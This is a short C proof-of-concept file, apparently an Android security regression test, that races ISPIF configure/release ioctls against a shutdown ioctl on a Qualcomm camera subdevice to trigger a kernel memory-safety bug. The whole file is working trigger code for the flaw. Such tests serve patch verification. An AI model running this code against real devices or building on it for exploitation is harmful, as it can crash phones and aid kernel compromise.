/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#define MSM_SD_SHUTDOWN 0xc00856dd
#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
struct ispif_cfg_data {
int32_t cfg_type;
union {
int reg_dump; /* ISPIF_ENABLE_REG_DUMP */
uint32_t csid_version; /* ISPIF_INIT */
//struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */
//struct msm_ispif_param_data params; /* CFG, START, STOP */
};
};
long r[11];
int fd;
struct ispif_cfg_data data;
void *worker_thread(void *arg) {
int arg1[3] = {0};
switch ((long)arg) {
case 0:
data.cfg_type = 8; ////release
ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
break;
case 1:
ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
break;
}
return NULL;
}
int main() {
int pid,i;
pthread_t th[4];
fd = open( "/dev/v4l-subdev17", 0x0ul );
printf("please wait for several seconds...\n");
while(1){
data.cfg_type = 2; ////init
data.csid_version = 1;
ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
for (i = 0; i < 2; i++) {
pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
usleep(10);
}
}
return 0;
}